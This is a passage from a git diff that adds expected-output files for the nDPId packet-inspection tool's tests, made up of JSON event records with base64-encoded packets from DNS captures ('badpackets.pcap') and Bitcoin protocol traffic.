LKzEXvlThyjffaO1k\/60LDVhVBDOZ6qeLxCdDVAfYZWLOALT5G71UUp\/mfWeY+zuZZrL9Mg=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":85,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":675} +00714{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":86,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451867,"pkt_ts_usec":62384,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":304,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcqqsgAOcREHmDTlH+zLpQ5QA1TnkG1twua62FkwABAAAADAABClJDMDFXRUYwMDEEbmVtbwNkbGEDbWlsAAABAAHAFwAGAAEAAAA8ADAIZWFnbGVpYjECYWTAHAtyYW5keS5zbWl0aMAcd9p7lQAAKjAAAAQ4ABJ1AAAAA4TAFwAuAAEAAAA8AKAABggDAAAAPFkvM2hZIfZYHRkEbmVtbwNkbGEDbWlsAB1eP48NXB48YC39LxAk\/Khj2mVEQ6aS5HOSznEHbJsfSIIptRD6BtLuXwGHekuWL8Z8c4kWh5ITHm730bhtaFCQHR4MBMAUg\/QYfZB\/3QkezK+jd+kE5nVF\/tAkTs15nBpCsT3XFv1DW\/UqWuIhDZwgTv+++Q=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":86,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":270} +00577{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":87,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451874,"pkt_ts_usec":121400,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":203,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcE+8gADUR5p1N8Pn0zLpQ5QA1XvoGcR\/WhA+EEAABAAIABQAHA25zMQNjc2MCbHQAAAEAAcAMAAEAAQABUYAABE3w+fTADAAuAAEAAVGAARoAAQcDAAFRgFkvGkZZB4jkr\/cDY3NjAmx0ALbKVVGDcRZDqk1lyGdWsP5IQ26mLHrrMMz2pPyson+cx8+CsnAw8\/PhfvXbGxejQaIrCYXN3lCaimZi4Ns9eAyNg0i42MNM14BM77qxS7I="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":87,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":169} +00660{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":88,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451891,"pkt_ts_usec":93884,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":265,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcxOggAOQR3V7OJiMDzLpQ5QA1oocGr2AqSlqFkwABAAAADAABClBIMDFXRUYwMDECYWQDZGxhA21pbAAAAQABwBoABgABAAACAgAtCGVhZ2xlaWIxwBcLcmFuZHkuc21pdGjAGneyKSsAACowAAAEOAAJOoAAAAOEwBoALgABAAACAgCbAAYIAgAAA4RZL+jmWSKr1jYkA2RsYQNtaWwAQ+NjrNptV+b2\/CTqZKH2biSP27tkOWTGq2KCUhlOH9E41MLSOk2lCYL6smDX5fmm1zJuobp2dyrUo+9Imrd8bXDxUMgbvMl\/t\/ob2CKRj1UwIaYHEuWwqw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":88,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":231} +01911{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":89,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451910,"pkt_ts_usec":684938,"pkt_caplen":1189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1189,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW3YgADURSGKMrBHtzLpQ5QA1nlwKS15OQ2CEEAABAAIABAANDmNhbWVvY2hlbWljYWxzBG5vYWEDZ292AAABAAHADAABAAEAAVGAAAShN0EOwAwALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AIaf94KEuv9ZJnwf0eecIweTnGhU9b8l62tJ68k6dYKJPMmWgU+FCdyf\/QzA4d7evU\/WdY7C1qnmSAKUF\/jv82PtKEXWR9WzExnNSIkYyQ5Ek5HmxOvXRyAbUWYpnmzE31nJFS1DIaj6bHFKKyXa7kbE2lCLrY7Yw5mk7cXQ4OLgm8h\/Rf8PZUuRTxVYvWYo4+TVze1zHc8FD\/ypXkA55QgQpzIh2fdyiGaKmMRm4vEgVKR9qcV84hn2T6W953fnxyCiEAhN7\/HrL8+6Sed3bKvypaRqQ6VyWlurn4p4PS768LrGaurHjeTDHLHyOhT+cpJoI83IpDVd3ZFZXfga1z\/AVwACAAEAAVGAAAgFbnMtbnfAV8BXAAIAAQABUYAACAVucy1td8BXwFcAAgABAAFRgAAHBG5zLWXAV8BXAC4AAQABUYABHAACBQIAAVGAWSuLfVkiUP0+cwRub2FhA2dvdgB\/\/xDOV8RlACc0tJNxS+YKsLSQOBQbk6NLsQZG3YDTjO3iKsh7IcLqiw6uOc7SaLs86m+f\/kMHQskW6EQOmEHDMnbqN9IQMGQT4wsBbRrQmwjtM3XaVIfw2QRYEj4dnRSam\/XPSboR6M9\/hOGPVESZ\/uQ6WqFzbJ5fPUcerIlG\/kYoZuwvlZN9eWpmI2uvZVEJoNzzXHVFVxe+gyzQ2fX9CfzbU64wrazKsV4840AxDn9S8jSgjT7wrA1fAbUY1N1Z18MDcPXwCsgNM45SCTA3GR4LZG5q0wfZhRsvLTMW6nxaQfuphvLWLR4kFiw6usfYhcbxye3Gh4WdZwsuqUy1wZUAAQABAAFRgAAEjFoh7cGVABwAAQABUYAAECYQACCAAIwAAAAAAAAAAjfBgQABAAEAAVGAAASMrBHtwYEAHAABAAFRgAAQJhAAIIgAjAAAAAAAAAACN8FtAAEAAQABUYAABKE3IALBbQAcAAEAAVGAABAmEAAgjACMAAAAAAAAAAACwZUALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AB08bt6E7ohbhYgi6U5fzCvPQTfSQRo3ylVGQBd4GQioTMMd+BhUrSx1nl58nNI6c+qAd1CqFmFqiM5ebi5pE1XQEztOcBoUZF5qERb6hyUOPUUPqQUzb4737GY7eLMVhWgV+nXDO9WAuWyFdvNYRSLJ60ie\/UEooUgR4nksvbeWExpReSwiYozRFhByWMQyA9TM2vrVynTVyVh25EIUMETyShl\/dY6oBT5c+IZn43u+z67SmlCfIeXgKTB\/oGjV7DRb81d5wfupBlV79lVlV1T1yN18zBWvAih22KxRneyyeH+TxQe9uSQgcU0OCnhDrgRNFl1ahPVaCtbmKAeDwCvBlQAuAAEAAVGAAQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":89,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1155} +00712{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":90,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451913,"pkt_ts_usec":554506,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":305,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcoZEgAOcRGZODTlH+zLpQ5QA1hecG1xOqS+SFkwABAAAADAABC0NNSDBTLTUwNjI0BGRhYXMDZGxhA21pbAAAAQABwBgABgABAAAAPwAwCGVhZ2xlaWIxAmFkwB0LcmFuZHkuc21pdGjAHQExm5UAAAC0AAAAEgAJOoAAAAOEwBgALgABAAAAPwCgAAYIAwAAALRZLyttWSHuXTGGBGRhYXMDZGxhA21pbABfZgMcUaz74\/opjmPI6fIN7S4Ga9GN4s2JVqvb0uXXvbdLi9ee5JaFRYVlFB0RVerGRt3pX5esuSlY9ySHVHjOBX09ZI1nwdlSMxmFBY9ZemmmfYIR43tvzwqFnbufNVeL7\/vc0q83XBfNipWbDRE5bz+qVR8="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":90,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":271} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":91,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451914,"pkt_ts_usec":68906,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcXUggADgRPcyY2AuFzLpQ5QA1eM4GFPW9NOaEAwABAAAACAABC3NpcGludGVybmFsA2lycwNnb3YAAAEAASBlZmxia2RtZjJtY241ZWg0ZjB1OW9lZHN2bWFxODA="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":91,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":76} +00956{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":92,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451914,"pkt_ts_usec":94306,"pkt_caplen":486,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":486,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFKAXcMaIgADQR\/37IE0oVzLpQ5QA1cggHjFp0zlSEEAABAAMABQAKA25zMgZwb3AtcHIDcm5wAmJyAAAcAAHADAAcAAEAAAEsABAoAQCCAAAABgAAAAAAAAAgwAwALgABAAABLAChABwFBAAAASxYVstzWC8+c5NwBnBvcC1wcgNybnACYnIA1\/aeIOiXLVAUlf7X0fXFedFXWKq9aABVNOZ7r5rykMv0fMN9YxDR4Cfp\/zKvuFMArhl0vnp4MXdTgWKEiqk59GY+\/xomF5ijzP3\/hVLiW7e0IYJ1yWiBQh1jhcv34Y3bAKrfDk1MJeqnDbo4Bp88Wdfr5Y21wV56qV8eT6SlXOXADAAuAAEAAAEsAKEAHAUEAAABLFhWy3NYLz5zpzoGcG9wLXByA3JucAJicgCVDEMFJZu9EAXpnfRWZ2RVItWA0n+KJu9IaIVJmIMhajSIQT3VrNMeLfYGRUUl45s\/7N7SoIMSnISlGlhJNpFBgZCcSGA0oztlFfMwzcS\/I5CcKCU3SWRb5uEagRV84Bme6gzJXmBlBbKvNmLJm1Vjve6LCM8hoD8VZqG7vv8jFcEKAAIAAQAAASwABQJuc8EKwQoAAgABAAABLAACwAzBCgAC"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":92,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":452} +00672{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":93,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451915,"pkt_ts_usec":752227,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":274,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcZssgAOcRVFmDTlH+zLpQ5QA1TRMGuBtHRUGFkwABAAAADAABCkhRMDFXRUYwMDEDRElSAkFEA0RMQQNNSUwAAAEAAcAeAAYAAQAAA2gALQhlYWdsZWliMcAbC3JhbmR5LnNtaXRowB53sikrAAAqMAAABDgACTqAAAADhMAeAC4AAQAAA2gAmwAGCAIAAAOEWS\/o5lkiq9Y2JANkbGEDbWlsAEPjY6zabVfm9vwk6mSh9m4kj9u7ZDlkxqtiglIZTh\/RONTC0jpNpQmC+rJg1+X5ptcybqG6dncq1KPvSJq3fG1w8VDIG7zJf7f6G9gikY9VMCGmBxLlsKtyxHORaw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":93,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":240} diff --git a/test/results/bitcoin.pcap.out b/test/results/bitcoin.pcap.out new file mode 100644 index 000000000..71c489891 --- /dev/null +++ b/test/results/bitcoin.pcap.out @@ -0,0 +1,100 @@ +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"bitcoin.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1301327937725,"flow_last_seen":0,"flow_tot_l4_data_len":137,"flow_min_l4_data_len":137,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":137,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.142","dst_ip":"188.165.213.169","src_port":55317,"dst_port":8333,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00573{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301327937,"pkt_ts_usec":725033,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"ACPrIpS0ACNshovhCABFAACdb3BAAEAGdmXAqAGOvKXVqdgVII1UFpaF9ORId4AY\/\/\/XwQAAAQEICicy22Mwkrss+b602XZlcnNpb24AAAAAAFUAAAABfQAAAQAAAAAAAABBsJBNAAAAAAEAAAAAAAAAAAAAAAAAAAAAAP\/\/vKXVqSCNAQAAAAAAAAAAAAAAAAAAAAAA\/\/\/AqAGOII3ZMDrPGxAeDAD6vQEA"} +00570{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301327937,"pkt_ts_usec":800894,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"ACNshovhACPrIpS0CABFAACd8zJAADQG\/qK8pdWpwKgBjiCN2BX05Eh3VBaWhYAYAC7fMwAAAQEICjCSu0gnMttj+b602XZlcnNpb24AAAAAAFUAAACcfAAAAQAAAAAAAABqsJBNAAAAAAEAAAAAAAAAAAAAAAAAAAAAAP\/\/JmCEHtgVAQAAAAAAAAAAAAAAAAAAAAAA\/\/+8pdWpII1MLcnArv8XlgAGwwEA"} +01786{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301327937,"pkt_ts_usec":931550,"pkt_caplen":1067,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1067,"pkt_l4_len":1033,"pkt":"ACPrIpS0ACNshovhCABFAAQdZEVAAEAGfhDAqAGOvKXVqdgVII1UFpbu9ORI4IAY\/\/\/JGQAAAQEICicy22UwkrtL+b602XZlcmFjawAAAAAAAAAAAAD5vrTZZ2V0YWRkcgAAAAAAAAAAAF324OL5vrTZZ2V0YmxvY2tzAAAApQMAAGlfIuqcfAAAHKh7ybVTxuZIQjrl7yTcgS++hNhBt1zq9NegAAAAAAAA0isW7TPLR9+QJv0A5WbZVCvm695mFYsw+RcAAAAAAAAKtKqLikjG018uz8LfLAtdjFIkeP\/i1erq1gAAAAAAAJBdQRxOhTejsSgFAkOe4jLdh+MgkNThEJ18AAAAAAAAuqLvaBfSt3u\/xIqIdA14a1vMRWgufw\/9NSQAAAAAAABmO+ZaHQMV8GVsd2tLL4rFQTc0+9Vfwkt\/KAAAAAAAAJT+LTuh4xfC31zGm\/GrV7uiO60OaIRMkzcNAAAAAAAAuhdRV0aXd6Zg2v\/d1GRW41CXeTNnyZ2lADQAAAAAAADN6C3MlB3uxd0izHdkP3dhS0au0yU7AWAQZwAAAAAAAL+B7POHga71M99A8Eu3CYdV7ruvTTFqTRaEAAAAAAAA3UsnAThWfVMwqZa+fYK\/+mnwaocTsbQIG1kAAAAAAADey3zxujtbDGk\/QTgO92YcU4PswnA6nOZ6FgAAAAAAAMDzxV+Dq1G5LChOJMi\/klliIw7dOCRLUwU1AAAAAAAAPos8A4n6clF7nKE4hFivm22s790lzTk\/xUsAAAAAAAC0sS5A1Mm4fwV3yc3Q1LndsofGdqv023cDhAAAAAAAAGvuGwU2Et\/fX33Zfbvd3fo\/8TaDBcaUcU3CAAAAAAAAP2JWK5H+eMf+Pv\/jSxNvOoqfqtxRlUdLIhEAAAAAAADJveYZh3372qwQQlL9GVXITa9jJ6DXXZhGDQAAAAAAAKMYV6DpTz6VcKhTn2GDUxJn1w6c\/OztngqRAAAAAAAABDCPkjdagfw0FOqHQEeRGYOTGUOY4U7Z+TMAAAAAAABH73UkZZo8i3KUfaLV4BIT5FRuJgLU9+S6PwAAAAAAAEhKQKlsPJI3JIw8Tb+HHwelgYW13heoG+NwAAAAAAAAGoeNNbO0PKw7FoNOsSIzS8W\/U8wXt9nuho8AAAAAAADVlxLK6O44NewFXywS+BNdzYycb7g7WSY\/qQEAAAAAAKqI+qWcSpEbTrldQNWUJik+3hdENRtaz0ynBAAAAAAA\/6kPGMjbu4hU+GZN83C9X6Hc1si6bqd\/l3UhAAAAAABKw0jIrFFXJp9oPx6NizqHl5jwjXfMij2VrHIgAAAAAG\/ijAq28bNywaaiRq5j90+THoNl4VoInGjWGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00451{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301327937,"pkt_ts_usec":937258,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ACNshovhACPrIpS0CABFAABI8zRAADQG\/vW8pdWpwKgBjiCN2BX05EjgVBaW7oAYAC4XIAAAAQEICjCSu2wnMttk+b602XZlcmFjawAAAAAAAAAAAAA="} +02370{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301327938,"pkt_ts_usec":227159,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACNshovhACPrIpS0CABFAAXc8ztAADQG+Vq8pdWpwKgBjiCN2BX05GU8VBaa14AQAD3jawAAAQEICjCSu7QnMttnhCjkjf1kZDz6a7VQoEu4m4oAAAAAAAACAAAA1IaNe70QZ83Z24IVl1nSVJ1rSQvM7O0hUxwAAAAAAAACAAAAJAjBJFgJi+79Sba9jXRDsMxw7pZBgblFDBIAAAAAAAACAAAAR8Tabunpg\/NX3lgnOOaqEIrKic1DdCyGbW8AAAAAAAACAAAAVgyQu6jI1AFKMIUV+AW91h2hJ2EMBQV0M6QAAAAAAAACAAAAw5oFGDr9nmhqx4NaotVZDpNbbIqZUTBTM9UAAAAAAAACAAAA\/DmDVR99nGHMDw4IdNCCb8Bi7M3ALjxrM8YAAAAAAAACAAAAuB3agvZFvhvtY9gMuGvzAyXXctZBH\/Zt3cQAAAAAAAACAAAAZJWBX3mnOR59iNk66lBFt6XgSa0Uo6D9FLkAAAAAAAACAAAAn4x96tiUPpjOpY8eDqHBShjAV8P4kM3jViEAAAAAAAACAAAAcVdW8s3N1hTivcOVWCHg3XnqMK9S9gYMwZQAAAAAAAACAAAA8GBZtHFFnjk92cEEhP2GGk\/6sBNe894B\/NIAAAAAAAACAAAAypFmNU7vFWUzXQwx3zpwyWzGbflqWN65cBQAAAAAAAACAAAAAngIt9ObhwGhPDl6a7J\/ABGgnDOrH3nxdDYAAAAAAAACAAAA1q0QhdCpS0XkR+gTzlE2JMSCka+9CuhD49EAAAAAAAACAAAABGMrEYPzigo1+8mPfEaFh6wbeuu4vx8rmkIAAAAAAAACAAAAQG7kq79+P3hwqr++cQG86yL4RO446ojXUzYAAAAAAAACAAAAyFHM7nSiFjkextccv+5H4PxT13aAqLXClncAAAAAAAACAAAAncyDMNt5IiW50SKVSw0yX3kpbm7AnpTZb10AAAAAAAACAAAAqlUhpTtpHzWpN7TPGeBrPG\/ECKcNAcpC824AAAAAAAACAAAAYES6UoayNmt1Mp3GS+Z9FRmqlrvWes4JeB0AAAAAAAACAAAAnJ\/7JOUYz1R8pIELcG5ovlmus3iny0O2sLYAAAAAAAACAAAAPe9tPmlenOk9KrsZIunEdP96lwdlN8lfiVoAAAAAAAACAAAAaEToZE+1mBFA9AlcT408ODMAAoPd16pstQUAAAAAAAACAAAAZkvQ98FDZP\/FfeoEaK23KgHu5R6S6h+BmYkAAAAAAAACAAAAMT5dwPWm0ZYuBZfXJGR4aHfFJ5nimcOcvHMAAAAAAAACAAAAPfpDpc+zhYrXXyeRFb31u2ryrSWjHSX0a6EAAAAAAAACAAAAGrkseZnLhmzpu0YHlxxXAfEjAF4HnMfKKKwAAAAAAAACAAAAtVbuAjRbsTFqJx7GhHXD9XuZr1WwEH7VQ5AAAAAAAAACAAAAj8bNJA6oIkcgT1Bn\/uZCukVQjuj5UNe1+MAAAAAAAAACAAAAfvcNmEhydPMkdN4J734GhE2Q4Fom1cWDXzwAAAAAAAACAAAARYk5E2OTybkcV3rD0hIFkliZDn+4baxAxZoAAAAAAAACAAAAyGQ7baUiY5n5yYzjlK6P4u3WMLccnV7kylEAAAAAAAACAAAASYVTws1InPgqNlXOhT4bWRpRuWxVPLK8xbEAAAAAAAACAAAA4of5sEhGmrPDwFKMYvfEqgcNaZes8ffikgAAAAAAAAACAAAA8dp527KPTlpAyGg9VP7UjyuXC7Tzos97UEkAAAAAAAACAAAAsd+begKTjMgQfPgL9k7gsSZoXgrDUS+C5aEAAAAAAAACAAAA8m4zUggsVHGnANbljvTHWAIZWJ+YK27CVTYAAAAAAAACAAAAW1G7oJNPBehnQ5OEBDFqnasMJFAABiROgKoAAAAAAAACAAAAWfncApVxrDBJGoWONyZ87ZgiH8PotojKHJMAAAAAAAACAAAAXvsr1qNH1I4s1poCbqv9Fhc="} +02396{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301327938,"pkt_ts_usec":587289,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACPrIpS0ACNshovhCABFAAXciX1AAEAGVxnAqAGOvKXVqdgVII1UFprX9OSPg4AQ\/\/+REAAAAQEICicy22wwkrvo+b602WdldGRhdGEAAAAAAHdGAAA8ORT1\/fUBAgAAAJku5wDBBL3BzjTMfrH\/WfAH310LiAJeidGlAAAAAAAAAgAAAA4DFK3IO+NJz16AgoV+XuA188LeOTaSe+xHAAAAAAAAAgAAABl0ulpFE8b6A5kzYu4\/DYV3NNIrOthUe8pAAAAAAAAAAgAAAB97BURpir3\/FD3mn\/WtFe0g2leJESAjCG4DAAAAAAAAAgAAAI8ntNQzTtdOqSqjJAcuHsz8rGc8+xzVnMMPAAAAAAAAAgAAANtU8lsVSAMtQMAp8SE\/i7Kon\/eDOrtIMZ5lAAAAAAAAAgAAAPTLzx1szj9\/fwkF4RHLApluO1lBpJUn5votAAAAAAAAAgAAAA1e18PegsNISd5CqcJrfln+HPSEaiVDYjogAAAAAAAAAgAAAKGE8aS8MLWxm+TDx\/Sjs\/sDDi6DkMr60nSoAAAAAAAAAgAAAEO2COX5uPrucYRn+yalyXXjJganh89XGDTKAAAAAAAAAgAAAGPCH43YiI9BA+JChbPTs8gKKumAj7a9+MyfAAAAAAAAAgAAACE9oFCkPR4SgnZJ50NYGLJH2ryf96R+9J2gAAAAAAAAAgAAAL6hNiWDf+sbrM90y4JR0PR38k4JNjnYufRlAAAAAAAAAgAAAPYIoDdcv\/AlF+EJDKpI0fnGAHpL+JsRhsVBAAAAAAAAAgAAAPKhkrCCZpgrsAgxVFByyJ90\/pAMs60xr+iwAAAAAAAAAgAAAL+aG1RIb5ju7zLNO3xVWqkzqY5XJfhcZe8iAAAAAAAAAgAAAOfsp6PV2soFFHd+OIZehYQKtPB82deQSQJIAAAAAAAAAgAAABl+aa1A4Zok1j91iT2Zna04irQFyI5XE\/auAAAAAAAAAgAAAJ+v2IeBO\/pEwRk7U3geN8BV9+C5YL0UfcTbAAAAAAAAAgAAAI5UXa\/5EkqQAHAxp4dmceIy0PrjA\/\/\/fpNwAAAAAAAAAgAAADcmHH0cABVmgMeeQ5saVRLi9CmcF1XLF\/8xAAAAAAAAAgAAAGeW25vZYPOpHQ7vVK3IAD1dNHcMnoPWkddJAAAAAAAAAgAAABWlnTPAJ+F5rBt4lTuUav0\/Wv3hieBwGQoeAAAAAAAAAgAAAD2nn0hww3\/sIKr3bjHFoEZcpw4MJpRJ\/YpgAAAAAAAAAgAAABG9BBQ5D2U0zokMoEyZutmGAD5NgLUwLuG5AAAAAAAAAgAAAHOfSqR24YU+NwTOOVvZ2lMXabGiFW+LP+6KAAAAAAAAAgAAAKvfz62S7H79NZKZIrWEPACNw0y7+KGJPLeNAAAAAAAAAgAAAMLlJw3RxRDZeDDDipnpNDr98EuhznYZGOx0AAAAAAAAAgAAAGsKwJT\/4xi9QPi8KF\/P\/6azUtsCVerfQDnGAAAAAAAAAgAAAG6LWly3cQ1yioYD6AhO15JZTLjLionL5gbZAAAAAAAAAgAAAGm\/\/sp2jgKSpQbYPtsgO6Ak8KPMfivNB9xYAAAAAAAAAgAAAFlGiZBXRqiYVV\/MCKm7MQV632Vxri7xc1ShAAAAAAAAAgAAABDymqXP8egqZtGuAHT3mc6sioNf4N5YuKqsAAAAAAAAAgAAAPcum00\/g20vOXN+V003K9fp\/BhdlOafXpmwAAAAAAAAAgAAAN+e3XRhT7pzLAp0B6y1N\/ym27IyvQzznt15AAAAAAAAAgAAAP1g2t1ghQOPRR7ZeSxertgyBun5DoCzZYQ4AAAAAAAAAgAAADZJu0KmKzD\/O1DwhHa77bklG7KEHchonCXAAAAAAAAAAgAAAI6iSdkHSeSGR1rq6bS+XEM7Z5gFEPCT\/aupAAAAAAAAAgAAAHaCIaGRjxZAIEuLwBrcnR41ceWWfaKEbr\/LAAAAAAAAAgAAAJPm6txNuvmkWpa7u4A="} +02386{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301327938,"pkt_ts_usec":717541,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ACPrIpS0ACNshovhCABFAAXcoCZAAEAGQHDAqAGOvKXVqdgVII1UFqB\/9OSPg4AQ\/\/+\/LAAAAQEICicy220wkrwnqRW4Rh9PmC1QpXfIcwAAAAAAAAIAAAAH+cuE0tyJAcymqscIDWGpTq0F7Rhx4WCeGAAAAAAAAAIAAAAa+Y3PW97MZQPJnRLcA4Chb0+l2WlOE3mULAAAAAAAAAIAAADqqpHYyXWQA30YR1uYpQuiR6rLtSD5JVVXngAAAAAAAAIAAAAESHfShLzNYMv91RXGVXg5ThQIJhdJEufOMgAAAAAAAAIAAAAASDP\/FJMNr2iC4qPc\/qPwdlHEO4AYFXpOVAAAAAAAAAIAAADGB3pv4kJ5+skyu+uj\/2Qf2SpxkLnQ4d8VaAAAAAAAAAIAAACWT4BNwDBLP2Tb5TEWBOMHNbaIHeoyZmziFwAAAAAAAAIAAADzoiQJFxX3ICOub5zCoOyEC5RegBTHwhZkgQAAAAAAAAIAAADWI9ZzIXmjY1sfUWQw6O1N0tFqsmYj9fd\/VAAAAAAAAAIAAAAwhVt4RSoQ1CaoK62aKlE76nNfBUlvySvPsQAAAAAAAAIAAAAfMPDIubnoWUDL834uty2kAY9ocy1svphIfwAAAAAAAAIAAABl0NjMFhBjwcU4eqGm8SlRQV\/vE9TMHnXsywAAAAAAAAIAAABDLZfvS3CjTG1ve+9nN9mj7l9a5QsTnuDiywAAAAAAAAIAAACIA0VXbmAlp0FWLteAtF+M7KlVLBmbeTlTBQAAAAAAAAIAAADQABEGJSai9eYKxKC\/YBgHt8htVdPJzoutggAAAAAAAAIAAABgvPOr\/oh3dH5QIF5IxsdR89JgIBvl3yqzzgAAAAAAAAIAAADSKvAFBUjGLINXSdXekl7CE3\/zH\/7zrdWnYAAAAAAAAAIAAACBx155WtgkWeqPiJwDBTHh3V8ieH2OWJTSSQAAAAAAAAIAAABJfUTooU7ahKxfbm+yA6XcAv\/60VZk7aRscwAAAAAAAAIAAACU2OXuD6PViXd2CZl3+yVUeJ8iuo+c8K0ETQAAAAAAAAIAAAA4qsNwyrkqZR\/497YT9TgPvlJmySK3LABgtgAAAAAAAAIAAABM9QcESBhliax8ILOr